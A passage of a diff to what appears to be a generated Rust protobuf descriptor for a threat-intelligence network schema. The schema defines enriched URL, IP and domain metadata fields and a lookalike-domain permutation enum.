onName\x12\x18\n\x07country\x18\x02\x20\x01(\tR\x07country\x12\"\n\x0cor\ + ganization\x18\x03\x20\x01(\tR\x0corganization\x12/\n\x13organizational_\ + unit\x18\x04\x20\x01(\tR\x12organizationalUnit\x12\x1a\n\x08locality\x18\ + \x05\x20\x01(\tR\x08locality\x12\x14\n\x05state\x18\x06\x20\x01(\tR\x05s\ + tate\x12+\n\x11alternative_names\x18\x07\x20\x03(\tR\x10alternativeNames\ + \x12%\n\x0estreet_address\x18\x08\x20\x01(\tR\rstreetAddress\x12\x1f\n\ + \x0bpostal_code\x18\t\x20\x01(\tR\npostalCode\"F\n\x08Validity\x12\x1b\n\ + \tnot_after\x18\x01\x20\x01(\x03R\x08notAfter\x12\x1d\n\nnot_before\x18\ + \x02\x20\x01(\x03R\tnotBefore\"\xac\x03\n\x0eSSLCertificate\x12\x1e\n\nt\ + humbprint\x18\x01\x20\x01(\tR\nthumbprint\x12)\n\x07subject\x18\x02\x20\ + \x01(\x0b2\x0f.vt.net.SubjectR\x07subject\x12,\n\x08validity\x18\x03\x20\ + \x01(\x0b2\x10.vt.net.ValidityR\x08validity\x128\n\x18subject_alternativ\ + e_name\x18\x04\x20\x03(\tR\x16subjectAlternativeName\x12\x1c\n\tsignatur\ + e\x18\x05\x20\x01(\tR\tsignature\x12#\n\rserial_number\x18\x06\x20\x01(\ + \tR\x0cserialNumber\x12'\n\x06issuer\x18\x07\x20\x01(\x0b2\x0f.vt.net.Su\ + bjectR\x06issuer\x12\x12\n\x04host\x18\x08\x20\x01(\tR\x04host\x12\x18\n\ + \x07version\x18\t\x20\x01(\tR\x07version\x12\x1c\n\talgorithm\x18\n\x20\ + \x01(\tR\talgorithm\x12/\n\x13signature_algorithm\x18\x0b\x20\x01(\tR\ + \x12signatureAlgorithm\"?\n\x07Tracker\x12\x12\n\x04name\x18\x01\x20\x01\ + (\tR\x04name\x12\x0e\n\x02id\x18\x02\x20\x01(\tR\x02id\x12\x10\n\x03url\ + \x18\x03\x20\x01(\tR\x03url\"\xa6\x02\n\tDNSRecord\x12\x12\n\x04type\x18\ + \x02\x20\x01(\tR\x04type\x12\x1b\n\tdns_class\x18\x03\x20\x01(\tR\x08dns\ + Class\x12\x10\n\x03ttl\x18\x04\x20\x01(\x03R\x03ttl\x12\x14\n\x05mname\ + \x18\x05\x20\x01(\tR\x05mname\x12\x14\n\x05rname\x18\x06\x20\x01(\tR\x05\ + rname\x12\x1a\n\x08priority\x18\x07\x20\x01(\x03R\x08priority\x12\x16\n\ + \x06serial\x18\x08\x20\x01(\x03R\x06serial\x12\x14\n\x05retry\x18\t\x20\ + \x01(\x03R\x05retry\x12\x18\n\x07refresh\x18\n\x20\x01(\x03R\x07refresh\ + \x12\x16\n\x06expire\x18\x0b\x20\x01(\x03R\x06expire\x12\x18\n\x07minimu\ + m\x18\x0c\x20\x01(\x03R\x07minimum\x12\x14\n\x05value\x18\r\x20\x01(\tR\ + \x05value\"@\n\x07Favicon\x12\x1f\n\x07raw_md5\x18\x01\x20\x01(\tR\x06ra\ + wMd5B\x06\x82\x93\x19\x02\x20\x01\x12\x14\n\x05dhash\x18\x02\x20\x01(\tR\ + \x05dhash\"4\n\x08KeyValue\x12\x10\n\x03key\x18\x01\x20\x01(\tR\x03key\ + \x12\x16\n\x06values\x18\x02\x20\x03(\tR\x06values\"\xb0\x03\n\x0cFileMe\ + tadata\x12\x1e\n\x06sha256\x18\x01\x20\x01(\tR\x06sha256B\x06\x82\x93\ + \x19\x02\x20\x01\x12\x1c\n\nnew_for_vt\x18\x03\x20\x01(\x08R\x08newForVt\ + \x12A\n\x0eanalysis_stats\x18\x05\x20\x01(\x0b2\x1a.vt.analysis.Analysis\ + StatsR\ranalysisStats\x126\n\tfile_type\x18\x06\x20\x01(\x0e2\x19.vt.fil\ + eanalysis.FileTypeR\x08fileType\x12\x1e\n\x0bnew_for_url\x18\x07\x20\x01\ + (\x08R\tnewForUrl\x12\x1c\n\nnew_for_ip\x18\x08\x20\x01(\x08R\x08newForI\ + p\x12$\n\x0enew_for_domain\x18\t\x20\x01(\x08R\x0cnewForDomain\x12D\n\ns\ + ignatures\x18\n\x20\x03(\x0b2$.vt.net.FileMetadata.SignaturesEntryR\nsig\ + natures\x1a=\n\x0fSignaturesEntry\x12\x10\n\x03key\x18\x01\x20\x01(\tR\ + \x03key\x12\x14\n\x05value\x18\x02\x20\x01(\tR\x05value:\x028\x01\"\xde\ + \x02\n\x14ResourceFileMetadata\x12\x1e\n\x06sha256\x18\x01\x20\x01(\tR\ + \x06sha256B\x06\x82\x93\x19\x02\x20\x01\x12A\n\x0eanalysis_stats\x18\x02\ + \x20\x01(\x0b2\x1a.vt.analysis.AnalysisStatsR\ranalysisStats\x126\n\tfil\ + e_type\x18\x03\x20\x01(\x0e2\x19.vt.fileanalysis.FileTypeR\x08fileType\ + \x12\x1e\n\x0bnew_for_url\x18\x04\x20\x01(\x08R\tnewForUrl\x12L\n\nsigna\ + tures\x18\x05\x20\x03(\x0b2,.vt.net.ResourceFileMetadata.SignaturesEntry\ + R\nsignatures\x1a=\n\x0fSignaturesEntry\x12\x10\n\x03key\x18\x01\x20\x01\ + (\tR\x03key\x12\x14\n\x05value\x18\x02\x20\x01(\tR\x05value:\x028\x01\"g\ + \n\x0ePopularityRank\x12\x1a\n\x08position\x18\x01\x20\x01(\x03R\x08posi\ + tion\x12%\n\x0eingestion_time\x18\x02\x20\x01(\x03R\ringestionTime\x12\ + \x12\n\x04rank\x18\x03\x20\x01(\tR\x04rank\"\x94\x05\n\x0bURLResource\ + \x12\x10\n\x03url\x18\x01\x20\x01(\tR\x03url\x12G\n\x06method\x18\x02\ + \x20\x01(\x0e2/.vt.fileanalysis.HttpConversation.RequestMethodR\x06metho\ + d\x12\x1e\n\x06sha256\x18\x03\x20\x01(\tR\x06sha256B\x06\x82\x93\x19\x02\ + \x20\x01\x12#\n\rresponse_code\x18\x04\x20\x01(\x05R\x0cresponseCode\x12\ + 5\n\tremote_ip\x18\x05\x20\x01(\tR\x08remoteIpB\x18\x82\x93\x19\x14\n\ + \x12serving_ip_address\x12(\n\x04size\x18\x06\x20\x01(\x05R\x04sizeB\x14\ + \x82\x93\x19\x10\n\x0econtent_length\x12\x1f\n\x0breverse_dns\x18\x07\ + \x20\x01(\tR\nreverseDns\x12-\n\x04type\x18\x08\x20\x01(\x0e2\x19.vt.fil\ + eanalysis.FileTypeR\x04type\x12F\n\x0cbrowser_type\x18\t\x20\x01(\x0e2#.\ + vt.urlheadless.BrowserResourceTypeR\x0bbrowserType\x12S\n\x10response_he\ + aders\x18\n\x20\x03(\x0b2(.vt.net.URLResource.ResponseHeadersEntryR\x0fr\ + esponseHeaders\x125\n\tnet_error\x18\x0b\x20\x01(\x0e2\x18.vt.urlheadles\ + s.NetErrorR\x08netError\x12\x1c\n\tredirects\x18\x0c\x20\x03(\tR\tredire\ + cts\x1aB\n\x14ResponseHeadersEntry\x12\x10\n\x03key\x18\x01\x20\x01(\tR\ + \x03key\x12\x14\n\x05value\x18\x02\x20\x01(\tR\x05value:\x028\x01\"\x92\ + \x02\n\x0eExtendedCookie\x12\x12\n\x04name\x18\x01\x20\x01(\tR\x04name\ + \x12\x14\n\x05value\x18\x02\x20\x01(\tR\x05value\x12\x16\n\x06domain\x18\ + \x03\x20\x01(\tR\x06domain\x12\x18\n\x07expires\x18\x04\x20\x01(\x03R\ + \x07expires\x12\x16\n\x06secure\x18\x05\x20\x01(\x08R\x06secure\x12\x1b\ + \n\thttp_only\x18\x06\x20\x01(\x08R\x08httpOnly\x12\x18\n\x07session\x18\ + \x07\x20\x01(\x08R\x07session\x12\x12\n\x04size\x18\x08\x20\x01(\x05R\ + \x04size\x12A\n\x08priority\x18\t\x20\x01(\x0e2%.vt.urlheadless.Cookie.C\ + ookiePriorityR\x08priority\"\x8a\x01\n\x0eConsoleMessage\x12\x18\n\x07co\ + ntent\x18\x01\x20\x01(\tR\x07content\x12\x1f\n\x0bsource_file\x18\x02\ + \x20\x01(\tR\nsourceFile\x12=\n\x05level\x18\x03\x20\x01(\x0e2'.vt.urlhe\ + adless.ConsoleMessage.LogLevelR\x05level\"=\n\rWebTechnology\x12\x12\n\ + \x04name\x18\x01\x20\x01(\tR\x04name\x12\x18\n\x07version\x18\x02\x20\ + \x01(\tR\x07version\"\xcd\x11\n\x0bEnrichedURL\x12\x12\n\x04port\x18\x03\ + \x20\x01(\x03R\x04port\x12+\n\x08trackers\x18\x04\x20\x03(\x0b2\x0f.vt.n\ + et.TrackerR\x08trackers\x12S\n\x10response_headers\x18\x05\x20\x03(\x0b2\ + (.vt.net.EnrichedURL.ResponseHeadersEntryR\x0fresponseHeaders\x12;\n\x1a\ + number_of_response_headers\x18!\x20\x01(\x03R\x17numberOfResponseHeaders\ + \x12#\n\rresponse_code\x18\x06\x20\x01(\x03R\x0cresponseCode\x12:\n\x07c\ + ookies\x18\x07\x20\x03(\x0b2\x20.vt.net.EnrichedURL.CookiesEntryR\x07coo\ + kies\x12)\n\x07favicon\x18\x08\x20\x01(\x0b2\x0f.vt.net.FaviconR\x07favi\ + con\x12%\n\x0eoutgoing_links\x18\t\x20\x03(\tR\routgoingLinks\x12\x1c\n\ + \tredirects\x18\n\x20\x03(\tR\tredirects\x12\x1d\n\nhtml_title\x18\x0b\ + \x20\x01(\tR\thtmlTitle\x126\n\x0ehtml_meta_tags\x18\x0c\x20\x03(\x0b2\ + \x10.vt.net.KeyValueR\x0chtmlMetaTags\x12\x17\n\x07new_url\x18\x11\x20\ + \x01(\x08R\x06newUrl\x12A\n\x0eanalysis_stats\x18\x12\x20\x01(\x0b2\x1a.\ + vt.analysis.AnalysisStatsR\ranalysisStats\x122\n\x15first_submission_dat\ + e\x18\x13\x20\x01(\x03R\x13firstSubmissionDate\x12C\n\nsignatures\x18\ + \x14\x20\x03(\x0b2#.vt.net.EnrichedURL.SignaturesEntryR\nsignatures\x125\ + \n\tsubmitter\x18\x15\x20\x01(\x0b2\x17.vt.submitter.SubmitterR\tsubmitt\ + er\x12\x12\n\x04tags\x18\x18\x20\x03(\tR\x04tags\x12\x14\n\x05query\x18\ + \"\x20\x01(\tR\x05query\x127\n\x06params\x18\x19\x20\x03(\x0b2\x1f.vt.ne\ + t.EnrichedURL.ParamsEntryR\x06params\x12\x12\n\x04path\x18\x1a\x20\x01(\ + \tR\x04path\x12\x1a\n\x08hostname\x18\x1b\x20\x01(\tR\x08hostname\x12\ + \x10\n\x03raw\x18\x1c\x20\x01(\tR\x03raw\x12=\n\x0fdownloaded_file\x18\ + \x1d\x20\x01(\x0b2\x14.vt.net.FileMetadataR\x0edownloadedFile\x12C\n\x12\ + communicating_file\x18\x1e\x20\x01(\x0b2\x14.vt.net.FileMetadataR\x11com\ + municatingFile\x12K\n\x12embedded_resources\x18\x1f\x20\x03(\x0b2\x1c.vt\ + .net.ResourceFileMetadataR\x11embeddedResources\x12C\n\ncategories\x18#\ + \x20\x03(\x0b2#.vt.net.EnrichedURL.CategoriesEntryR\ncategories\x12\xae\ + \x01\n\x0egti_assessment\x18'\x20\x01(\x0b2%.vt.hunting_gti_score.Huntin\ + gGtiScoreR\rgtiAssessmentB`\x82\x93\x19\\\x1aZ\n(unknown\x20field\x20or\ + \x20method\x20`gti_assessment`\x12\"this\x20field\x20or\x20method\x20doe\ + sn't\x20exist\x1a\x03gti\x1a\x05staff\x121\n\tresources\x18(\x20\x03(\ + \x0b2\x13.vt.net.URLResourceR\tresources\x12A\n\x10cookies_extended\x18-\ + \x20\x03(\x0b2\x16.vt.net.ExtendedCookieR\x0fcookiesExtended\x12_\n\x14j\ + avascript_variables\x18.\x20\x03(\x0b2,.vt.net.EnrichedURL.JavascriptVar\ + iablesEntryR\x13javascriptVariables\x12A\n\x10console_messages\x18/\x20\ + \x03(\x0b2\x16.vt.net.ConsoleMessageR\x0fconsoleMessages\x12@\n\x10web_t\ + echnologies\x180\x20\x03(\x0b2\x15.vt.net.WebTechnologyR\x0fwebTechnolog\ + ies\x12\x1a\n\x08filename\x181\x20\x01(\tR\x08filename\x12(\n\x03tls\x18\ + 2\x20\x03(\x0b2\x16.vt.net.SSLCertificateR\x03tls\x12\x1d\n\ndom_sha256\ + \x183\x20\x01(\tR\tdomSha256\x1aB\n\x14ResponseHeadersEntry\x12\x10\n\ + \x03key\x18\x01\x20\x01(\tR\x03key\x12\x14\n\x05value\x18\x02\x20\x01(\t\ + R\x05value:\x028\x01\x1a:\n\x0cCookiesEntry\x12\x10\n\x03key\x18\x01\x20\ + \x01(\tR\x03key\x12\x14\n\x05value\x18\x02\x20\x01(\tR\x05value:\x028\ + \x01\x1a=\n\x0fSignaturesEntry\x12\x10\n\x03key\x18\x01\x20\x01(\tR\x03k\ + ey\x12\x14\n\x05value\x18\x02\x20\x01(\tR\x05value:\x028\x01\x1a9\n\x0bP\ + aramsEntry\x12\x10\n\x03key\x18\x01\x20\x01(\tR\x03key\x12\x14\n\x05valu\ + e\x18\x02\x20\x01(\tR\x05value:\x028\x01\x1a=\n\x0fCategoriesEntry\x12\ + \x10\n\x03key\x18\x01\x20\x01(\tR\x03key\x12\x14\n\x05value\x18\x02\x20\ + \x01(\tR\x05value:\x028\x01\x1aF\n\x18JavascriptVariablesEntry\x12\x10\n\ + \x03key\x18\x01\x20\x01(\tR\x03key\x12\x14\n\x05value\x18\x02\x20\x01(\t\ + R\x05value:\x028\x01:\t\x8a\x93\x19\x05\n\x03URL\"\x8e\x03\n\x10Enriched\ + PortInfo\x12\x12\n\x04port\x18\x01\x20\x01(\x05R\x04port\x12\"\n\x08prot\ + ocol\x18\x02\x20\x01(\tR\x08protocolB\x06\x82\x93\x19\x02\x20\x01\x12\ + \x1f\n\x0bport_banner\x18\x03\x20\x01(\tR\nportBanner\x12G\n\x0cport_ser\ + vice\x18\x04\x20\x03(\x0b2$.vt.net.EnrichedPortInfo.PortServiceR\x0bport\ + Service\x12\x20\n\x0bfingerprint\x18\x05\x20\x01(\tR\x0bfingerprint\x12\ + \x17\n\x07os_type\x18\x06\x20\x01(\tR\x06osType\x12\x1f\n\x0bdevice_type\ + \x18\x07\x20\x01(\tR\ndeviceType\x12'\n\x0bport_status\x18\x08\x20\x01(\ + \tR\nportStatusB\x06\x82\x93\x19\x02\x20\x01\x1aS\n\x0bPortService\x12\ + \x18\n\x07product\x18\x01\x20\x01(\tR\x07product\x12\x18\n\x07version\ + \x18\x02\x20\x01(\tR\x07version\x12\x10\n\x03cpe\x18\x03\x20\x01(\tR\x03\ + cpe\"\xeb\x0b\n\nEnrichedIP\x123\n\x05whois\x18\x03\x20\x03(\x0b2\x1d.vt\ + .net.EnrichedIP.WhoisEntryR\x05whois\x12\x1b\n\twhois_raw\x18\x16\x20\ + \x01(\tR\x08whoisRaw\x12C\n\x11https_certificate\x18\x04\x20\x01(\x0b2\ + \x16.vt.net.SSLCertificateR\x10httpsCertificate\x12\x12\n\x04jarm\x18\ + \x05\x20\x01(\tR\x04jarm\x12\x1e\n\x0bip_as_owner\x18\x06\x20\x01(\tR\ti\ + pAsOwner\x12\x15\n\x06ip_asn\x18\x07\x20\x01(\x03R\x05ipAsn\x12\x1d\n\ni\ + p_country\x18\x08\x20\x01(\tR\tipCountry\x12A\n\x0eanalysis_stats\x18\r\ + \x20\x01(\x0b2\x1a.vt.analysis.AnalysisStatsR\ranalysisStats\x12B\n\nsig\ + natures\x18\x0e\x20\x03(\x0b2\".vt.net.EnrichedIP.SignaturesEntryR\nsign\ + atures\x12\x12\n\x04tags\x18\x11\x20\x03(\tR\x04tags\x12\x10\n\x03raw\ + \x18\x12\x20\x01(\tR\x03raw\x12=\n\x0fdownloaded_file\x18\x13\x20\x01(\ + \x0b2\x14.vt.net.FileMetadataR\x0edownloadedFile\x12C\n\x12communicating\ + _file\x18\x14\x20\x01(\x0b2\x14.vt.net.FileMetadataR\x11communicatingFil\ + e\x12\x1a\n\tip_as_int\x18\x17\x20\x01(\x03R\x07ipAsInt\x12\x9e\x01\n\ + \x0bfirst_whois\x18\x18\x20\x01(\x08R\nfirstWhoisB}\x82\x93\x19y\x1aw\nC\ + vt.net.ip.first_whois\x20is\x20supported\x20in\x20rulesets\x20matching\ + \x20against\x20IPs\x12$this\x20field\x20is\x20supported\x20for\x20IPs\ + \x20only\x1a\nip_address\x12\x98\x01\n\tnew_whois\x18\x19\x20\x01(\x08R\ + \x08newWhoisB{\x82\x93\x19w\x1au\nAvt.net.ip.new_whois\x20is\x20supporte\ + d\x20in\x20rulesets\x20matching\x20against\x20IPs\x12$this\x20field\x20i\ + s\x20supported\x20for\x20IPs\x20only\x1a\nip_address\x12%\n\x0ereverse_l\ + ookup\x18\x1a\x20\x01(\tR\rreverseLookup\x12\xae\x01\n\x0egti_assessment\ + \x18\x1e\x20\x01(\x0b2%.vt.hunting_gti_score.HuntingGtiScoreR\rgtiAssess\ + mentB`\x82\x93\x19\\\x1aZ\n(unknown\x20field\x20or\x20method\x20`gti_ass\ + essment`\x12\"this\x20field\x20or\x20method\x20doesn't\x20exist\x1a\x03g\ + ti\x1a\x05staff\x12\xf7\x01\n\x05ports\x18\x1f\x20\x03(\x0b2\x18.vt.net.\ + EnrichedPortInfoR\x05portsB\xc6\x01\x82\x93\x19\xc1\x01\x1aL\n\x1funknow\ + n\x20field\x20or\x20method\x20`ports`\x12\"this\x20field\x20or\x20method\ + \x20doesn't\x20exist\x1a\x05staff\x1aq\n=vt.net.ip.ports\x20is\x20suppor\ + ted\x20in\x20rulesets\x20matching\x20against\x20IPs\x12$this\x20field\ + \x20is\x20supported\x20for\x20IPs\x20only\x1a\nip_address\x1a8\n\nWhoisE\ + ntry\x12\x10\n\x03key\x18\x01\x20\x01(\tR\x03key\x12\x14\n\x05value\x18\ + \x02\x20\x01(\tR\x05value:\x028\x01\x1a=\n\x0fSignaturesEntry\x12\x10\n\ + \x03key\x18\x01\x20\x01(\tR\x03key\x12\x14\n\x05value\x18\x02\x20\x01(\t\ + R\x05value:\x028\x01:\x08\x8a\x93\x19\x04\n\x02IP\"\xfb\x0c\n\x0eEnriche\ + dDomain\x12\x10\n\x03raw\x18\x12\x20\x01(\tR\x03raw\x12\x12\n\x04root\ + \x18\x1b\x20\x01(\tR\x04root\x127\n\x05whois\x18\x03\x20\x03(\x0b2!.vt.n\ + et.EnrichedDomain.WhoisEntryR\x05whois\x12\x1b\n\twhois_raw\x18\x1a\x20\ + \x01(\tR\x08whoisRaw\x12C\n\x11https_certificate\x18\x04\x20\x01(\x0b2\ + \x16.vt.net.SSLCertificateR\x10httpsCertificate\x12\x12\n\x04jarm\x18\ + \x05\x20\x01(\tR\x04jarm\x122\n\x0bdns_records\x18\x06\x20\x03(\x0b2\x11\ + .vt.net.DNSRecordR\ndnsRecords\x12)\n\x07favicon\x18\x07\x20\x01(\x0b2\ + \x0f.vt.net.FaviconR\x07favicon\x12A\n\x0eanalysis_stats\x18\x0c\x20\x01\ + (\x0b2\x1a.vt.analysis.AnalysisStatsR\ranalysisStats\x12F\n\nsignatures\ + \x18\r\x20\x03(\x0b2&.vt.net.EnrichedDomain.SignaturesEntryR\nsignatures\ + \x12\x1d\n\nnew_domain\x18\x10\x20\x01(\x08R\tnewDomain\x12\x12\n\x04tag\ + s\x18\x11\x20\x03(\tR\x04tags\x12=\n\x0fdownloaded_file\x18\x13\x20\x01(\ + \x0b2\x14.vt.net.FileMetadataR\x0edownloadedFile\x12C\n\x12communicating\ + _file\x18\x14\x20\x01(\x0b2\x14.vt.net.FileMetadataR\x11communicatingFil\ + e\x12\x1f\n\x0bfirst_whois\x18\x15\x20\x01(\x08R\nfirstWhois\x12\x1b\n\t\ + new_whois\x18\x16\x20\x01(\x08R\x08newWhois\x12)\n\x10first_resolution\ + \x18\x17\x20\x01(\x08R\x0ffirstResolution\x12%\n\x0enew_resolution\x18\ + \x18\x20\x01(\x08R\rnewResolution\x12F\n\ncategories\x18\x1c\x20\x03(\ + \x0b2&.vt.net.EnrichedDomain.CategoriesEntryR\ncategories\x12A\n\x10popu\ + larity_ranks\x18\x1e\x20\x03(\x0b2\x16.vt.net.PopularityRankR\x0fpopular\ + ityRanks\x12;\n\x1anumber_of_popularity_ranks\x18\x1f\x20\x01(\x03R\x17n\ + umberOfPopularityRanks\x12J\n\x15root_popularity_ranks\x18\x20\x20\x03(\ + \x0b2\x16.vt.net.PopularityRankR\x13rootPopularityRanks\x12D\n\x1fnumber\ + _of_root_popularity_ranks\x18!\x20\x01(\x03R\x1bnumberOfRootPopularityRa\ + nks\x12\xae\x01\n\x0egti_assessment\x18%\x20\x01(\x0b2%.vt.hunting_gti_s\ + core.HuntingGtiScoreR\rgtiAssessmentB`\x82\x93\x19\\\x1aZ\n(unknown\x20f\ + ield\x20or\x20method\x20`gti_assessment`\x12\"this\x20field\x20or\x20met\ + hod\x20doesn't\x20exist\x1a\x03gti\x1a\x05staff\x1a8\n\nWhoisEntry\x12\ \x10\n\x03key\x18\x01\x20\x01(\tR\x03key\x12\x14\n\x05value\x18\x02\x20\ - \x01(\tR\x05value:\x028\x01\x1a9\n\x0bParamsEntry\x12\x10\n\x03key\x18\ - \x01\x20\x01(\tR\x03key\x12\x14\n\x05value\x18\x02\x20\x01(\tR\x05value:\ - \x028\x01\x1a=\n\x0fCategoriesEntry\x12\x10\n\x03key\x18\x01\x20\x01(\tR\ - \x03key\x12\x14\n\x05value\x18\x02\x20\x01(\tR\x05value:\x028\x01:\t\x8a\ - \x93\x19\x05\n\x03URL\"\xf1\t\n\nEnrichedIP\x123\n\x05whois\x18\x03\x20\ - \x03(\x0b2\x1d.vt.net.EnrichedIP.WhoisEntryR\x05whois\x12\x1b\n\twhois_r\ - aw\x18\x16\x20\x01(\tR\x08whoisRaw\x12C\n\x11https_certificate\x18\x04\ - \x20\x01(\x0b2\x16.vt.net.SSLCertificateR\x10httpsCertificate\x12\x12\n\ - \x04jarm\x18\x05\x20\x01(\tR\x04jarm\x12\x1e\n\x0bip_as_owner\x18\x06\ - \x20\x01(\tR\tipAsOwner\x12\x15\n\x06ip_asn\x18\x07\x20\x01(\x03R\x05ipA\ - sn\x12\x1d\n\nip_country\x18\x08\x20\x01(\tR\tipCountry\x12A\n\x0eanalys\ - is_stats\x18\r\x20\x01(\x0b2\x1a.vt.analysis.AnalysisStatsR\ranalysisSta\ - ts\x12B\n\nsignatures\x18\x0e\x20\x03(\x0b2\".vt.net.EnrichedIP.Signatur\ - esEntryR\nsignatures\x12\x12\n\x04tags\x18\x11\x20\x03(\tR\x04tags\x12\ - \x10\n\x03raw\x18\x12\x20\x01(\tR\x03raw\x12=\n\x0fdownloaded_file\x18\ - \x13\x20\x01(\x0b2\x14.vt.net.FileMetadataR\x0edownloadedFile\x12C\n\x12\ - communicating_file\x18\x14\x20\x01(\x0b2\x14.vt.net.FileMetadataR\x11com\ - municatingFile\x12\x1a\n\tip_as_int\x18\x17\x20\x01(\x03R\x07ipAsInt\x12\ - \x9e\x01\n\x0bfirst_whois\x18\x18\x20\x01(\x08R\nfirstWhoisB}\x82\x93\ - \x19y\x1aw\nCvt.net.ip.first_whois\x20is\x20supported\x20in\x20rulesets\ - \x20matching\x20against\x20IPs\x12$this\x20field\x20is\x20supported\x20f\ - or\x20IPs\x20only\x1a\nip_address\x12\x98\x01\n\tnew_whois\x18\x19\x20\ - \x01(\x08R\x08newWhoisB{\x82\x93\x19w\x1au\nAvt.net.ip.new_whois\x20is\ - \x20supported\x20in\x20rulesets\x20matching\x20against\x20IPs\x12$this\ - \x20field\x20is\x20supported\x20for\x20IPs\x20only\x1a\nip_address\x12%\ - \n\x0ereverse_lookup\x18\x1a\x20\x01(\tR\rreverseLookup\x12\xae\x01\n\ - \x0egti_assessment\x18\x1e\x20\x01(\x0b2%.vt.hunting_gti_score.HuntingGt\ - iScoreR\rgtiAssessmentB`\x82\x93\x19\\\x1aZ\n(unknown\x20field\x20or\x20\ - method\x20`gti_assessment`\x12\"this\x20field\x20or\x20method\x20doesn't\ - \x20exist\x1a\x03gti\x1a\x05staff\x1a8\n\nWhoisEntry\x12\x10\n\x03key\ + \x01(\tR\x05value:\x028\x01\x1a=\n\x0fSignaturesEntry\x12\x10\n\x03key\ \x18\x01\x20\x01(\tR\x03key\x12\x14\n\x05value\x18\x02\x20\x01(\tR\x05va\ - lue:\x028\x01\x1a=\n\x0fSignaturesEntry\x12\x10\n\x03key\x18\x01\x20\x01\ - (\tR\x03key\x12\x14\n\x05value\x18\x02\x20\x01(\tR\x05value:\x028\x01:\ - \x08\x8a\x93\x19\x04\n\x02IP\"\xfb\x0c\n\x0eEnrichedDomain\x12\x10\n\x03\ - raw\x18\x12\x20\x01(\tR\x03raw\x12\x12\n\x04root\x18\x1b\x20\x01(\tR\x04\ - root\x127\n\x05whois\x18\x03\x20\x03(\x0b2!.vt.net.EnrichedDomain.WhoisE\ - ntryR\x05whois\x12\x1b\n\twhois_raw\x18\x1a\x20\x01(\tR\x08whoisRaw\x12C\ - \n\x11https_certificate\x18\x04\x20\x01(\x0b2\x16.vt.net.SSLCertificateR\ - \x10httpsCertificate\x12\x12\n\x04jarm\x18\x05\x20\x01(\tR\x04jarm\x122\ - \n\x0bdns_records\x18\x06\x20\x03(\x0b2\x11.vt.net.DNSRecordR\ndnsRecord\ - s\x12)\n\x07favicon\x18\x07\x20\x01(\x0b2\x0f.vt.net.FaviconR\x07favicon\ - \x12A\n\x0eanalysis_stats\x18\x0c\x20\x01(\x0b2\x1a.vt.analysis.Analysis\ - StatsR\ranalysisStats\x12F\n\nsignatures\x18\r\x20\x03(\x0b2&.vt.net.Enr\ - ichedDomain.SignaturesEntryR\nsignatures\x12\x1d\n\nnew_domain\x18\x10\ - \x20\x01(\x08R\tnewDomain\x12\x12\n\x04tags\x18\x11\x20\x03(\tR\x04tags\ - \x12=\n\x0fdownloaded_file\x18\x13\x20\x01(\x0b2\x14.vt.net.FileMetadata\ - R\x0edownloadedFile\x12C\n\x12communicating_file\x18\x14\x20\x01(\x0b2\ - \x14.vt.net.FileMetadataR\x11communicatingFile\x12\x1f\n\x0bfirst_whois\ - \x18\x15\x20\x01(\x08R\nfirstWhois\x12\x1b\n\tnew_whois\x18\x16\x20\x01(\ - \x08R\x08newWhois\x12)\n\x10first_resolution\x18\x17\x20\x01(\x08R\x0ffi\ - rstResolution\x12%\n\x0enew_resolution\x18\x18\x20\x01(\x08R\rnewResolut\ - ion\x12F\n\ncategories\x18\x1c\x20\x03(\x0b2&.vt.net.EnrichedDomain.Cate\ - goriesEntryR\ncategories\x12A\n\x10popularity_ranks\x18\x1e\x20\x03(\x0b\ - 2\x16.vt.net.PopularityRankR\x0fpopularityRanks\x12;\n\x1anumber_of_popu\ - larity_ranks\x18\x1f\x20\x01(\x03R\x17numberOfPopularityRanks\x12J\n\x15\ - root_popularity_ranks\x18\x20\x20\x03(\x0b2\x16.vt.net.PopularityRankR\ - \x13rootPopularityRanks\x12D\n\x1fnumber_of_root_popularity_ranks\x18!\ - \x20\x01(\x03R\x1bnumberOfRootPopularityRanks\x12\xae\x01\n\x0egti_asses\ - sment\x18%\x20\x01(\x0b2%.vt.hunting_gti_score.HuntingGtiScoreR\rgtiAsse\ - ssmentB`\x82\x93\x19\\\x1aZ\n(unknown\x20field\x20or\x20method\x20`gti_a\ - ssessment`\x12\"this\x20field\x20or\x20method\x20doesn't\x20exist\x1a\ - \x03gti\x1a\x05staff\x1a8\n\nWhoisEntry\x12\x10\n\x03key\x18\x01\x20\x01\ - (\tR\x03key\x12\x14\n\x05value\x18\x02\x20\x01(\tR\x05value:\x028\x01\ - \x1a=\n\x0fSignaturesEntry\x12\x10\n\x03key\x18\x01\x20\x01(\tR\x03key\ - \x12\x14\n\x05value\x18\x02\x20\x01(\tR\x05value:\x028\x01\x1a=\n\x0fCat\ - egoriesEntry\x12\x10\n\x03key\x18\x01\x20\x01(\tR\x03key\x12\x14\n\x05va\ - lue\x18\x02\x20\x01(\tR\x05value:\x028\x01\"\x91\x01\n\x0bPermutation\ - \x12\x0f\n\x03ALL\x10\0\x1a\x06\x9a\x93\x19\x02\x08\x1f\x12\x10\n\x04TYP\ - O\x10\x01\x1a\x06\x9a\x93\x19\x02\x08\x01\x12\x15\n\tHOMOGLYPH\x10\x02\ - \x1a\x06\x9a\x93\x19\x02\x08\x02\x12\x17\n\x0bHYPHENATION\x10\x03\x1a\ - \x06\x9a\x93\x19\x02\x08\x04\x12\x15\n\tSUBDOMAIN\x10\x04\x1a\x06\x9a\ - \x93\x19\x02\x08\x08\x12\x18\n\x0cBITSQUATTING\x10\x05\x1a\x06\x9a\x93\ - \x19\x02\x08\x10:\x0c\x8a\x93\x19\x08\n\x06Domain\"\xd8\x04\n\x0eEnriche\ - dNetloc\x12\x9f\x01\n\x03url\x18\x01\x20\x01(\x0b2\x13.vt.net.EnrichedUR\ - LR\x03urlBx\x82\x93\x19t\x1ar\n>vt.net.url\x20is\x20supported\x20only\ - \x20in\x20rulesets\x20matching\x20against\x20URLs\x12%this\x20field\x20i\ - s\x20supported\x20for\x20URLs\x20only\x1a\x03url\x1a\x04file\x12\xd3\x01\ - \n\x02ip\x18\x02\x20\x01(\x0b2\x12.vt.net.EnrichedIPR\x02ipB\xae\x01\x82\ - \x93\x19\xa9\x01\x1a\xa6\x01\nMvt.net.ip\x20is\x20supported\x20only\x20i\ - n\x20rulesets\x20matching\x20against\x20URLs,\x20domains\x20or\x20IPs\ - \x126this\x20field\x20is\x20supported\x20for\x20URLs,\x20domains\x20and\ - \x20IPs\x20only\x1a\x03url\x1a\x06domain\x1a\nip_address\x1a\x04file\x12\ - 